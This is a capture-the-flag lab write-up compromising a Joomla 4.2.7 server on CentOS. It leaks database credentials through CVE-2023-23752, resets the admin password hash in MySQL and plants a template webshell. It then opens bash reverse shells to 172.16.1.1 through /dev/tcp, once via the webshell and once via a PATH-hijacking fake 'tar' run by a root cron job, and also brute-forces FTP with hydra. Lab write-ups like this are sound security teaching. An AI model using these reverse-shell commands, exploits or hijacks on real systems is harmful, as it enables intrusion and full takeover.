WriteupsVHL — CMS101
WebMediumLinux
VHL — CMS101
Joomla CMS on CentOS with ProFTPD. Exploited a known Joomla CVE for unauthenticated RCE via the com_media upload component.
February 15, 2025Virtual Hacking Labs
#Joomla#CVE#RCE#ProFTPD
nmap
sh
nmap -sC -sV -T4 -A -Pn -p- --open 10.11.1.178
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-15 14:37 EST
Nmap scan report for 10.11.1.178
Host is up (0.020s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD or KnFTPD
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 12:00:ec:bd:40:49:a8:dd:cb:86:a4:e3:dc:40:a3:d8 (RSA)
| 256 29:a9:c2:c6:b4:1c:c8:74:d4:5e:bd:0c:01:7d:f3:f3 (ECDSA)
|_ 256 b3:95:6b:d7:73:81:ad:4a:56:4d:ec:6d:95:4a:7f:0c (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/8.0.28)
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-server-header: Apache/2.4.6 (CentOS) PHP/8.0.28
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/
3306/tcp open mysql MySQL 5.6.51
| mysql-info:
| Protocol: 10
| Version: 5.6.51
| Thread ID: 4
| Capabilities flags: 63487
| Some Capabilities: ODBCClient, LongColumnFlag, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolOld, SupportsTransactions, Speaks41ProtocolNew, InteractiveClient, IgnoreSigpipes, SupportsLoadDataLocal, Support41Auth, SupportsCompression, FoundRows, ConnectWithDatabase, LongPassword, DontAllowDatabaseTableColumn, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: n|Dz_I0U;gw>l*''.O#`
|_ Auth Plugin Name: mysql_native_password
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/15%OT=21%CT=1%CU=34860%PV=Y%DS=2%DC=I%G=Y%TM=67B0
OS:ED14%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=102%TI=Z%TS=A)SEQ(SP=105
OS:%GCD=1%ISR=102%TI=Z%TS=A)SEQ(SP=105%GCD=1%ISR=102%TI=Z%II=I%TS=A)SEQ(SP=
OS:105%GCD=1%ISR=103%TI=Z%II=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5
OS:B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88
OS:%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%C
OS:C=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%
OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Unix
TRACEROUTE
HOP RTT ADDRESS
1 20.28 ms 10.11.1.17821
sh
21/tcp open ftp ProFTPD or KnFTPDsh
ftp anonymous@10.11.1.178
Connected to 10.11.1.178.
220 FTP Server ready.
331 Password required for anonymous
Password:
530 Login incorrect.
ftp: Login failed
ftp> ls
530 Please login with USER and PASS
530 Please login with USER and PASS
ftp: Can't bind for data connection: Address already in use
ftp> exit
221 Goodbyesh
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://10.11.1.178
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-15 15:46:27
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking ftp://10.11.1.178:21/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-15 15:46:2980
sh
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/8.0.28)
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-server-header: Apache/2.4.6 (CentOS) PHP/8.0.28
| http-robots.txt: 16 disallowed entries (15 shown)
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/whatweb
sh
whatweb http://10.11.1.178
http://10.11.1.178 [200 OK] Apache[2.4.6], Cookies[53bae242...], Country[RESERVED][ZZ], HTML5, HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/8.0.28], HttpOnly[53bae242...], IP[10.11.1.178], MetaGenerator[Joomla! - Open Source Content Management], PHP[8.0.28], PasswordField[password], Script[application/json,application/ld+json,module], Title[Home], UncommonHeaders[referrer-policy,cross-origin-opener-policy], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/8.0.28]droopescan
sh
droopescan scan joomla --url http://10.11.1.178
[+] No version found.
[+] Possible interesting urls found:
Detailed version information. - http://10.11.1.178/administrator/manifests/files/joomla.xml
Login page. - http://10.11.1.178/administrator/
License file. - http://10.11.1.178/LICENSE.txt
Version attribute contains approx version - http://10.11.1.178/plugins/system/cache/cache.xmljoomla version 4.2.7

Joomla! CVE-2023-23752
- https://vulncheck.com/blog/joomla-for-rce
sh
curl -v http://10.11.1.178/api/index.php/v1/config/application?public=true
* Trying 10.11.1.178:80...
* Connected to 10.11.1.178 (10.11.1.178) port 80
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.11.1.178
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Sat, 15 Feb 2025 20:51:47 GMT
< Server: Apache/2.4.6 (CentOS) PHP/8.0.28
< X-Powered-By: JoomlaAPI/1.0
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Sat, 15 Feb 2025 20:51:47 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 2031
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http:\/\/10.11.1.178\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.11.1.178\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.11.1.178\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":"224"}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":"224"}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":"224"}},{"type":"application","id":"224","attributes":{"offline_image":"","id":"224"}},{"type":"application","id":"224","attributes":{"sitename":"Joomla Test Site","id":"224"}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":"224"}},{"type":"application","id":"224","attributes":{"captcha":"0","id":"224"}},{"type":"application","id":"224","attributes* Connection #0 to host 10.11.1.178 left intact
":{"list_limit":20,"id":"224"}},{"type":"application","id":"224","attributes":{"access":1,"id":"224"}},{"type":"application","id":"224","attributes":{"debug":false,"id":"224"}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":"224"}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":"224"}},{"type":"application","id":"224","attributes":{"dbtype":"mysql","id":"224"}},{"type":"application","id":"224","attributes":{"host":"localhost","id":"224"}},{"type":"application","id":"224","attributes":{"user":"joomla","id":"224"}},{"type":"application","id":"224","attributes":{"password":"PasSw0RdjO0ml4","id":"224"}},{"type":"application","id":"224","attributes":{"db":"joomla","id":"224"}},{"type":"application","id":"224","attributes":{"dbprefix":"eqa2g_","id":"224"}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":"224"}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":"224"}}],"meta":{"total-pages":4}} sh
{"user":"joomla","id":"224"}},{"type":"application","id":"224","attributes":{"password":"PasSw0RdjO0ml4","id":"224"}},{"type":"application","id":"224","attributes":{"db":"joomla","id":"224"}},{"type":"application","id":"224","attributes":{"dbprefix":"eqa2g_","id":"224"}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":"224"}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":"224"}}],"meta":{"total-pages":4}} creds
joomla:PasSw0RdjO0ml4
3306
sh
3306/tcp open mysql MySQL 5.6.51
| mysql-info:
| Protocol: 10
| Version: 5.6.51
| Thread ID: 4
| Capabilities flags: 63487
| Some Capabilities: ODBCClient, LongColumnFlag, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolOld, SupportsTransactions, Speaks41ProtocolNew, InteractiveClient, IgnoreSigpipes, SupportsLoadDataLocal, Support41Auth, SupportsCompression, FoundRows, ConnectWithDatabase, LongPassword, DontAllowDatabaseTableColumn, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: n|Dz_I0U;gw>l*''.O#`
|_ Auth Plugin Name: mysql_native_passwordsh
mysql -u joomla -p'PasSw0RdjO0ml4' -h 10.11.1.178
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 45
Server version: 5.6.51 MySQL Community Server (GPL)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| joomla |
+--------------------+
2 rows in set (0.019 sec)sh
MySQL [(none)]> use joomla;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [joomla]> show tables;
+-------------------------------+
| Tables_in_joomla |
+-------------------------------+
| eqa2g_action_log_config |
| eqa2g_action_logs |
| eqa2g_action_logs_extensions |
| eqa2g_action_logs_users |
| eqa2g_assets |
| eqa2g_associations |
| eqa2g_banner_clients |
| eqa2g_banner_tracks |
| eqa2g_banners |
| eqa2g_categories |
| eqa2g_contact_details |
| eqa2g_content |
| eqa2g_content_frontpage |
| eqa2g_content_rating |
| eqa2g_content_types |
| eqa2g_contentitem_tag_map |
| eqa2g_extensions |
| eqa2g_fields |
| eqa2g_fields_categories |
| eqa2g_fields_groups |
| eqa2g_fields_values |
| eqa2g_finder_filters |
| eqa2g_finder_links |
| eqa2g_finder_links_terms |
| eqa2g_finder_logging |
| eqa2g_finder_taxonomy |
| eqa2g_finder_taxonomy_map |
| eqa2g_finder_terms |
| eqa2g_finder_terms_common |
| eqa2g_finder_tokens |
| eqa2g_finder_tokens_aggregate |
| eqa2g_finder_types |
| eqa2g_history |
| eqa2g_languages |
| eqa2g_mail_templates |
| eqa2g_menu |
| eqa2g_menu_types |
| eqa2g_messages |
| eqa2g_messages_cfg |
| eqa2g_modules |
| eqa2g_modules_menu |
| eqa2g_newsfeeds |
| eqa2g_overrider |
| eqa2g_postinstall_messages |
| eqa2g_privacy_consents |
| eqa2g_privacy_requests |
| eqa2g_redirect_links |
| eqa2g_scheduler_tasks |
| eqa2g_schemas |
| eqa2g_session |
| eqa2g_tags |
| eqa2g_template_overrides |
| eqa2g_template_styles |
| eqa2g_ucm_base |
| eqa2g_ucm_content |
| eqa2g_update_sites |
| eqa2g_update_sites_extensions |
| eqa2g_updates |
| eqa2g_user_keys |
| eqa2g_user_mfa |
| eqa2g_user_notes |
| eqa2g_user_profiles |
| eqa2g_user_usergroup_map |
| eqa2g_usergroups |
| eqa2g_users |
| eqa2g_viewlevels |
| eqa2g_webauthn_credentials |
| eqa2g_workflow_associations |
| eqa2g_workflow_stages |
| eqa2g_workflow_transitions |
| eqa2g_workflows |
+-------------------------------+
71 rows in set (0.015 sec)sh
MySQL [joomla]> select * from eqa2g_users;
+-----+----------+-------------+-----------------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+
| id | name | username | email | password | block | sendEmail | registerDate | lastvisitDate | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+----------+-------------+-----------------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+
| 913 | John Doe | joomlaadmin | joomlaadmin@localhost.local | $2y$10$YWGckee43eMmxehUqhmkbuRZtpxl9TgFYFH9g98IadnQXegJaxb1K | 0 | 1 | 2023-03-15 07:44:41 | 2023-03-16 12:14:56 | 0 | | NULL | 0 | | | 0 | |
+-----+----------+-------------+-----------------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+
1 row in set (0.024 sec)- using this tool to create a new password and hash it: https://hash.online-convert.com/blowfish-generator
- new password for
joomlaadmin:Joomla123!
sh
MySQL [joomla]> UPDATE eqa2g_users SET password = '$2y$10$24jjDCG4B.vOi1DTGsNndeaGAOSqsWSCsd45Jux9osf/lgguPSa2e' where id = 913;
joomla webshell



http://10.11.1.178/templates/cassiopeia/error.php?0=id

shell as apache
sh
GET /templates/cassiopeia/error.php?0=bash+-i+>%26+/dev/tcp/172.16.1.1/1234+0>%261 HTTP/1.1sh
rlwrap nc -lvnp 1234
listening on [any] 1234 ...
connect to [172.16.1.1] from (UNKNOWN) [10.11.1.178] 55560
bash: no job control in this shell
bash-4.2$ whoami
whoami
apachesh
python -c 'import pty; pty.spawn("/bin/bash")'priv esc
sh
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/curl
/usr/bin/make
/usr/bin/perl
/usr/bin/php
/usr/bin/ping
/usr/bin/python
/usr/bin/python2
/usr/bin/python2.7
/usr/bin/sudo
/usr/bin/wgetPath Hijacking
- it is running
backup.shevery 5 minutes as root
sh
SHELL=/bin/bash
PATH=.:/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
*/5 * * * * root /usr/local/bin/backup.sh- this will backup logs directory in
/var/www/html/administrator - and it is not usinb absolute path of tar and looking in the
PATH=.it will look for the current directroy fortar - create a malicious
tarreverse shell in/var/www/html/administrator
sh
bash-4.2$ cat /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh
#!/bin/bash
cd /var/www/html/administrator
tar cf /var/backups/backuplogs.tgz logssh
echo '#!/bin/bash' > /var/www/html/administrator/tar
echo 'bash -i >& /dev/tcp/172.16.1.1/1235 0>&1' >> /var/www/html/administrator/tar
chmod +x /var/www/html/administrator/tarsh
nc -lnvp 1235
listening on [any] 1235 ...
connect to [172.16.1.1] from (UNKNOWN) [10.11.1.178] 59370
bash: no job control in this shell
[root@localhost administrator]# whoami
whoami
root
[root@localhost administrator]# cat /root/key.txt
cat /root/key.txt
bjtp6y5fv6derm7t3e2j
[root@localhost administrator]# date
date
Sun Feb 16 09:20:29 EST 2025
Up next
MediumFeb 2025
VHL — Teamspeak
TeamSpeak 3 server on CentOS. Enumerated FTP for credentials and exploited a vulnerable web application for system access.
Read writeup
MediumFeb 2025
VHL — Trace
IIS 10.0 running Kartris eCommerce on Windows. SQL injection and .NET deserialization chain leads to code execution and privilege escalation.
Read writeup
EasyFeb 2025
HTB — Titanic
Flask app path traversal via download endpoint reads arbitrary files including admin credentials. Magick ImageMagick CVE-2024-41817 for root shell.
Read writeup